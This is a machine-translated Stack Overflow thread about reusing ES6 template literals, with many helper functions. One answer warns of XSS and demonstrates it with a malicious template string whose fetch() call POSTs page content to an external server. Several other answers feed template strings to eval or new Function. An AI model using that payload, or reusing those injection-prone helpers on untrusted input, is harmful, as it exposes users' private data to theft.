ES6模板文字可以在运行时被替换(或重用)吗?

tl;dr:有可能使一个可重用的模板文字吗?

我一直试图使用模板文字,但我想我只是不明白,现在我感到沮丧。我是说,我觉得我懂了,但"它"不应该是这样的,也不应该是这样的。情况应该有所不同。

我看到的所有示例(甚至是带标签的模板)都要求“替换”在声明时完成,而不是在运行时完成,这对模板来说似乎完全没有用。也许我疯了,但“模板”对我来说是一个包含标记的文档,这些标记在你使用它时被替换,而不是在你创建它时,否则它只是一个文档(即字符串)。模板使用令牌作为令牌 &当你…评估它。

每个人都举了一个可怕的例子:

var a = 'asd';
return `Worthless ${a}!`

这很好,但如果我已经知道a,我只会return 'Worthless asd'return 'Worthless '+a。有什么意义?认真对待。好吧,重点是懒惰;加号少,可读性强。太好了。但这不是模板!恕我直言。MHO才是最重要的!问题,恕我直言,是模板在声明时被求值,所以,如果你这样做,恕我直言:

var tpl = `My ${expletive} template`;
function go() { return tpl; }
go(); // SPACE-TIME ENDS!

由于expletive没有被声明,它输出类似My undefined template的东西。超级。实际上,至少在Chrome中,我甚至不能声明模板;它会抛出一个错误,因为expletive没有定义。我需要的是能够在声明模板后进行替换:

var tpl = `My ${expletive} template`;
function go() { return tpl; }
var expletive = 'great';
go(); // My great template

然而,我不明白这是怎么可能的,因为这些都不是真正的模板。即使你说我应该使用标签,不,它们不起作用:

> explete = function(a,b) { console.log(a); console.log(b); }
< function (a,b) { console.log(a); console.log(b); }
> var tpl = explete`My ${expletive} template`
< VM2323:2 Uncaught ReferenceError: expletive is not defined...

这一切都让我相信模板字面量是可怕的错误命名,应该被称为他们真正的名字:heredoc。我猜“字面”部分应该提示我(在,不可变)?

我遗漏了什么吗?是否有一种(好的)方法来创建一个可重用的模板文字?


我给你可重用模板文字:

> function out(t) { console.log(eval(t)); }
var template = `\`This is
my \${expletive} reusable
template!\``;
out(template);
var expletive = 'curious';
out(template);
var expletive = 'AMAZING';
out(template);
< This is
my undefined reusable
template!
This is
my curious reusable
template!
This is
my AMAZING reusable
template!

这里是一个简单的“helper”函数…

function t(t) { return '`'+t.replace('{','${')+'`'; }
var template = t(`This is
my {expletive} reusable
template!`);

...让它“更好”。

我倾向于称它们为模板肠,因为它们产生扭曲感觉的区域。

78432 次浏览

你可以在函数中放入一个模板字符串:

function reusable(a, b) {
return `a is ${a} and b is ${b}`;
}

你可以用带标签的模板做同样的事情:

function reusable(strings) {
return function(... vals) {
return strings.map(function(s, i) {
return `${s}${vals[i] || ""}`;
}).join("");
};
}


var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"

其思想是让模板解析器从变量“slots”中分离出常量字符串,然后返回一个函数,该函数每次都根据一组新的值将它们重新组合在一起。

为了使这些文字像其他模板引擎一样工作,需要一种中间形式。

最好的方法是使用Function构造函数。

const templateString = "Hello ${this.name}!";
const templateVars = {
name: "world"
}


const fillTemplate = function(templateString, templateVars){
return new Function("return `"+templateString +"`;").call(templateVars);
}


console.log(fillTemplate(templateString, templateVars));

与其他模板引擎一样,您可以从其他地方(如文件)获取该字符串。

使用此方法可能会出现一些问题(例如,更难添加模板标记)。由于后期的插值,您也不能使用内联JavaScript逻辑。这也可以通过一些思考来补救。

一般来说,我反对使用邪恶的eval(),但在这种情况下,它是有意义的:

var template = "`${a}.${b}`";
var a = 1, b = 2;
var populated = eval(template);


console.log(populated);         // shows 1.2

然后如果你改变值并再次调用eval(),你会得到新的结果:

a = 3; b = 4;
populated = eval(template);


console.log(populated);         // shows 3.4

如果你想把它写在一个函数中,那么它可以这样写:

function populate(a, b){
return `${a}.${b}`;
}

可能最干净的方法是使用箭头函数(因为在这一点上,我们已经在使用ES6)

var reusable = () => `This ${object} was created by ${creator}`;


var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"


object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"

...对于带标签的模板字面量:

reusable = () => myTag`The ${noun} go ${verb} and `;


var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) {
return strings[0] + noun + strings[1] + verb + strings[2] + verb;
};
console.log (reusable()); // "The wheels on the bus go round and round"


noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) {
return strings[0] + noun + strings[1] + verb;
};
console.log (reusable()); // "The racecars go fast"

这也避免了使用eval()Function(),这可能会导致编译器出现问题,并导致大量的放缓。

下面的答案仅限于单个变量名,因此,像'Result ${a+b}'这样的模板在这种情况下是无效的。然而,你总是可以使用模板值:

format("This is a test: ${a_b}", {a_b: a+b});

最初的回答:

基于之前的答案,但创建了一个更“友好”的实用函数:

var format = (template, params) => {
let tpl = template.replace(/\${(?!this\.)/g, "${this.");
let tpl_func = new Function(`return \`${tpl}\``);


return tpl_func.call(params);
}

你可以像这样开具发票:

format("This is a test: ${hola}, second param: ${hello}", {hola: 'Hola', hello: 'Hi'});

结果字符串应该是:

'This is a test: Hola, second param: Hi'

如果你不想使用有序形参或上下文/名称空间来引用模板中的变量,例如${0}${this.something}${data.something},你可以有一个模板函数来为你处理范围。

例子说明如何调用这样的模板:

const tempGreet = Template(() => `
<span>Hello, ${name}!</span>
`);
tempGreet({name: 'Brian'}); // returns "<span>Hello, Brian!</span>"

模板函数:

function Template(cb) {
return function(data) {
const dataKeys = [];
const dataVals = [];
for (let key in data) {
dataKeys.push(key);
dataVals.push(data[key]);
}
let func = new Function(...dataKeys, 'return (' + cb + ')();');
return func(...dataVals);
}
}

在这种情况下,你只需要传递一个返回ES6模板文字的函数(在这个例子中,我使用了一个箭头函数)。我认为要得到我们所追求的那种可重用的插值,这是一个小小的权衡。

这里是GitHub: https://github.com/Adelphos/ES6-Reuseable-Template

这是我最好的尝试:

var s = (item, price) => {return `item: ${item}, price: $${price}`}
s('pants', 10) // 'item: pants, price: $10'
s('shirts', 15) // 'item: shirts, price: $15'

generalify:

var s = (<variable names you want>) => {return `<template with those variables>`}

如果你没有运行E6,你也可以这样做:

var s = function(<variable names you want>){return `<template with those variables>`}

这似乎比前面的回答更简洁一些。

< a href = " https://repl。it/@abalter/reusable-JS-template-literal" rel="nofollow noreferrer">https://repl.it/@abalter/reusable-JS-template-literal .it/@abalter/reusable-JS-template-literal " rel="nofollow noreferrer">

如果你正在寻找一些相当简单的东西(只是固定的变量字段,没有计算,条件…),但这也可以工作在客户端在没有模板字符串支持的浏览器上,如IE 8,9,10,11

开始吧:

fillTemplate = function (templateString, templateVars) {
var parsed = templateString;
Object.keys(templateVars).forEach(
(key) => {
const value = templateVars[key]
parsed = parsed.replace('${'+key+'}',value)
}
)
return parsed
}

2019的答案:

请注意:标准库最初希望用户清理字符串以避免XSS。该库的版本2不再要求净化用户字符串(web开发人员无论如何都应该这样做),因为它完全避免了eval

es6-dynamic-template模块在npm执行此操作。

const fillTemplate = require('es6-dynamic-template');

与目前的答案不同:

  • 它使用ES6模板字符串,而不是类似的格式。更新版本2使用类似的格式,而不是ES6模板字符串,以防止用户使用未经消毒的输入字符串。
  • 模板字符串中不需要this
  • 可以在单个函数中指定模板字符串和变量
  • 它是一个维护的,可更新的模块,而不是从StackOverflow复制

使用方法很简单。使用单引号作为模板字符串将在稍后解决!

const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});

简化@metamorphasi提供的答案;

const fillTemplate = function(templateString, templateVars){
var func = new Function(...Object.keys(templateVars),  "return `"+templateString +"`;")
return func(...Object.values(templateVars));
}


// Sample
var hosting = "overview/id/d:${Id}";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain);


console.log(result);

我对每次输入this.所需要的额外冗余感到恼火,所以我还添加了regex来扩展像.athis.a这样的变量。

解决方案:

const interp = template => _thisObj =>
function() {
return template.replace(/\${([^}]*)}/g, (_, k) =>
eval(
k.replace(/([.a-zA-Z0-9$_]*)([a-zA-Z0-9$_]+)/, (r, ...args) =>
args[0].charAt(0) == '.' ? 'this' + args[0] + args[1] : r
)
)
);
}.call(_thisObj);

这样使用:

console.log(interp('Hello ${.a}${.b}')({ a: 'World', b: '!' }));
// outputs: Hello World!

我遗漏了什么吗?是否有一个[好]方法来使一个可重用的模板文字?

也许我是遗漏了一些东西,因为我对这个问题的解决方案对我来说似乎是如此明显,以至于我很惊讶没有人在这样一个古老的问题中写道。

对于这个问题,我几乎只有一句话:

function defer([first, ...rest]) {
return (...vals) => rest.reduce((acc, str, i) => acc + vals[i] + str, first);
}

这是所有。当我想重用一个模板并推迟替换的解析时,我只做:

function defer([first, ...rest]) {
return (...vals) => rest.reduce((acc, str, i) => acc + vals[i] + str, first);
}


t = defer`My template is: ${null} and ${null}`;
a = t('simple', 'reusable');
// 'My template is: simple and reusable'
b = t('obvious', 'late to the party');
// 'My template is: obvious and late to the party'
c = t(null);
// 'My template is: null and undefined'
d = defer`Choose: ${'ignore'} / ${undefined}`(true, false);
// 'Choose: true / false'


console.log(a + "\n" + b + "\n" + c + "\n" + d + "\n");

应用此标记将返回一个'function'(而不是'string'),它忽略传递给字面量的任何参数。然后可以稍后用新参数调用它。如果一个参数没有相应的替换,它就变成'undefined'


扩展的回答

这段简单的代码是功能性的,但是如果您需要更详细的行为,可以应用相同的逻辑,并且有无限的可能性。你可以:

  1. 利用原始参数:

您可以在结构中存储传递给文字的原始值,并在应用模板时以创造性的方式使用它们。它们可以成为标志、类型验证器、函数等。下面是一个使用它们作为默认值的例子:

function deferWithDefaults([first, ...rest], ...defaults) {
return (...values) => rest.reduce((acc, curr, i) => {
return acc + (i < values.length ? values[i] : defaults[i]) + curr;
}, first);
}


t = deferWithDefaults`My template is: ${'extendable'} and ${'versatile'}`;
a = t('awesome');
// 'My template is: awesome and versatile'


console.log(a);

  1. 写一个模板工厂:

通过将此逻辑包装在一个函数中,该函数期望作为参数的自定义函数可以应用于约简(当连接模板字面量的片段时),并返回具有自定义行为的新模板。

然后,你可以,例如,编写模板,自动转义或清除参数时,编写嵌入式html, css, sql, bash…

使用这个naïve(我重复一遍,naïve!) sql模板,我们可以构建这样的查询:

const createTemplate = fn => function (strings, ...defaults) {
const [first, ...rest] = strings;
return (...values) => rest.reduce((acc, curr, i) => {
return acc + fn(values[i], defaults[i]) + curr;
}, first);
};


function sqlSanitize(token, tag) {
// this is a gross simplification, don't use in production.
const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/
.test(name) ? `"${name.replace(/"/g, '""')}"` : name);
const quoteValue = value => (typeof value == 'string' ?
`'${value.replace(/'/g, "''")}'` : value);
switch (tag) {
case 'table':
return quoteName(token);
case 'columns':
return token.map(quoteName);
case 'row':
return token.map(quoteValue);
default:
return token;
}
}


const sql = createTemplate(sqlSanitize);
q  = sql`INSERT INTO ${'table'} (${'columns'})
... VALUES (${'row'});`
a = q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true])
// `INSERT INTO user (id,"user name","is""Staff""?")
// VALUES (1,'O''neil',true);`


console.log(a);

  1. 接受命名参数进行替换:基于已经给出的内容,这是一个不算难的练习。在另一个答案中有一个实现。

  2. 使返回对象的行为像'string':嗯,这是有争议的,但可能会导致有趣的结果。在另一个答案中显示。

  3. 解析全局命名空间中的参数:

我给你,可重用的模板文字

这是OP显示的附录,使用命令evil,我的意思是,eval。这可以在没有eval的情况下完成,只需将传递的变量名搜索到全局(或窗口)对象即可。我不演示怎么做,因为我不喜欢它。闭包是正确的选择。

简单的答案是在lodash中使用_.template

// Use the ES template literal delimiter as an "interpolate" delimiter.
// Disable support by replacing the "interpolate" delimiter.
var compiled = _.template('hello ${ user }!');
compiled({ 'user': 'pebbles' });
// => 'hello pebbles!'
我只是发布了一个npm包,它可以简单地做这个工作。 深受这个答案的启发
const Template = require('dynamic-template-string');


var tpl = new Template('hello ${name}');


tpl.fill({name: 'world'}); // ==> 'hello world';
tpl.fill({name: 'china'}); // ==> 'hello china';

它的实现非常简单。希望你会喜欢。


module.exports = class Template {
constructor(str) {
this._func = new Function(`with(this) { return \`${str}\`; }`);
}


fill(data) {
return this._func.call(data);
}
}

是的,你可以通过Function(或eval)解析你的字符串模板作为JS -但不建议这样做,并允许XSS攻击 .

// unsafe string-template function
const fillTemplate = function(templateString, templateVars){
return new Function("return `"+templateString +"`;").call(templateVars);
}




function parseString() {
// Example malicious string which will 'hack' fillTemplate function
var evilTemplate = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";


var templateData = {Id:1234, User:22};
var result = fillTemplate(evilTemplate, templateData);


console.log(result);


alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`);


}
#mydiv { background: red; margin: 20px}


.btn { margin: 20px; padding: 20px; }
<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then backend save templates in DB and show them to other users...


Some bad user/hacker can then prepare malicious template
with JS code... and when other logged users "see" that malicious
template (e.g. by "Click me!" in this example),
then it can read some information from their current
page with private content and send it to external server.


Or in worst case, that malicious template can send some
authorized "action" request to the backend...
(like e.g. action which delete some user content or change his name etc.).
In case when logged user was Admin then
action can be even more devastating (like delete user etc.)
</pre>
<div id='mydiv'>
Private content of some user
</div>


<div id="msg"></div>


<button class="btn" onclick="parseString()">Click me! :)</button>

相反,你可以以如下方式将对象obj字段动态地插入到模板str

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);




// --- test ---


// parameters in object
let t1 = 'My name is ${name}, I am ${age}. My brother name is also ${name}.';
let r1 = inject(t1, {name: 'JOHN',age: 23} );
console.log("OBJECT:", r1);




// parameters in array
let t2 = "Values ${0} are in ${2} array with ${1} values of ${0}."
let r2 = inject(t2, ['A,B,C', 666, 'BIG'] );
console.log("ARRAY :", r2);

你可以像这样使用内联箭头函数, 定义:< / p >

const template = (substitute: string) => `[^.?!]*(?<=[.?\s!])${substitute}(?=[\s.?!])[^.?!]*[.?!]`;

用法:

console.log(template('my replaced string'));

运行时模板字符串

var templateString = (template, values) => {
let output = template;
Object.keys(values)
.forEach(key => {
output = output.replace(new RegExp('\\$' + `{${key}}`, 'g'), values[key]);
});
return output;
};

测试

console.debug(templateString('hello ${word} world', {word: 'wonderful'}));

const fillTemplate = (template, values) => {
template = template.replace(/(?<=\${)\w+(?=})/g, v=>"this."+v);
return Function.apply(this, ["", "return `"+template+"`;"]).call(values);
};


console.log(fillTemplate("The man ${man} is brother of ${brother}", {man: "John", brother:"Peter"}));
//The man John is brother of Peter

感谢@Quentin-Engles的出色想法和最佳答案,让我开始了!

但是我将新函数直接存储在一个变量中,而不是每次都返回函数,这样函数和模板文字都只构建一次,而不是每次调用它,就像在Quentin的回答中那样。

const templateString = "Hello ${this.name}.";
var myData = {
name: "world"
};


const buildItem = new Function("return `" + templateString + "`;");


console.log(buildItem.call(myData));  // Hello world.


myData.name = "Joe";
console.log(buildItem.call(myData));  // Hello Joe.

可以使用以下函数动态解析模板,提供新数据。

这使用了javascript的一个不太常见的特性,称为Tagged Template Literal


function template(...args) {
return (values) =>
args[0].reduce(
(acum, current, index) =>
acum.concat(
current, values[index] === undefined ? '' : values[index]
),
''
)
}


const person = 'Lydia';
const age = 21;


template `${person} is ${age} years old... yes He is ${age}`(['jose', 35, 38]); //?


2021年出现了迄今为止最直接的解决方案。

const tl = $ =>`This ${$.val}`;
tl({val: 'code'});

这几乎等同于仅仅编写和重用模板文字(OP想要的)。

你可以从这里开始调整……

你可以只使用一行标签模板,比如:

const SERVICE_ADDRESS = (s,tenant) => `http://localhost/${tenant}/api/v0.1/service`;

在客户端代码中,你可以这样使用它:

const myTenant = 'me';
fetch(SERVICE_ADDRESS`${myTenant}`);

当我看到它的时候,我非常头疼。javascript中的文字模板非常酷,但它们****可重用或带有动态值。但解决方法非常简单。事实上,在花了几天时间编写解析器、格式化器和其他解决方案后,我不得不踢自己几次。最后在我放弃了这个想法,打算使用胡子或其他模板模块后,它击中了我.....

const DT = function dynamicTemplate(source) { return (new Function(`return \`${source}\``))() }


//let a = 1, b = 2;
//DT("${a} + ${b} equals ${a + b}")
// prints '1 + 2 equals 3'

这就是她写的全部内容。

如果你使用的是Angular,你可以使用@ngx-translate/core包如下:

import { TranslateDefaultParser } from '@ngx-translate/core';


export class SomeClass {
public parser = new TranslateDefaultParser();
test() {
// outputs "This is my great reusable template!"
this.parser.interpolate('This is my \{\{expletive}} reusable template!', { expletive: 'great' });
}
...
}

我解决了这个插值模板使用:

function flatKeys(inputObject: any): {[key: string]: any} {
const response: {[key: string]: any} = {};
function iterative(currentObject: any, parentKeys: string[]=[]) {
const llaves = Object.keys(currentObject);
for (let i=0; i<llaves.length; i++) {
const llave: string = llaves[i];
const valor = currentObject[llave];
const llavesNext = parentKeys.concat(llave);
if (typeof valor == 'object') {
iterative(valor, llavesNext);
} else {
response[llavesNext.join('.')] = valor;
}
}
}
iterative(inputObject);
return response;
}


function interpolate(template: string, values: any, defaultValue='') {
const flatedValues = flatKeys(values);
const interpolated = template.replace(/\${(.*?)}/g, function (x,g) {
const value = flatedValues[g];
if ([undefined, null].indexOf(value) >= 0) {
return defaultValue;
}
return value;
});
return interpolated;
}


const template = "La ${animal.name} tomaba ${alimento.name} con el ${amigos.0.names}";
const values = {
animal: {
name:"Iguana"
},
alimento: {
name: "café"
},
amigos: [
{ name: "perro" },
true
]
};


const interpolated = interpolate(template, values);


console.log(interpolated);

所有的道具在这里教我关于javascript的一个功能,我从来不知道-我知道字符串模板文字,但不知道你可以用它们调用函数没有括号!

作为感谢,我在这里分享我的typescript改编,这使得它真的很容易用typescript知道的命名变量来创建一个可重用的模板——它允许any类型,因为它们会自动神奇地转换为字符串,但如果你不喜欢这个策略,你可以自己调整。


/**
* Use this with a template literal in order to create reusable string template;
* use interpolation to add strings for each variable you want to use in the template.
*
* e.g.:
*
*  const reUsableStringTemplate = stringTpl`${'name'} and ${'otherName'} are going to ${'place'}`;
*
* You can then call it with:
*
*  const filled = reUsableStringTemplate({name: 'John', otherName: 'Jane', place: 'Paris'});
*  // John and Jane are going to Paris
*
* reUsableStringTemplate will have types and know the names of your variables
*
* @returns String template function with full typescript types
*/
export function stringTpl<keys extends string>(parts: TemplateStringsArray, ...keys: keys[]) {
return (opts: Record<keys, any>) => {
let outStr = '';
for (let i = 0; i < parts.length; ++i) {
outStr += parts[i];
const key = keys.shift();
if (key && key in opts) {
outStr += opts[key];
} else {
outStr += key ?? '';
}
}
return outStr;
};
}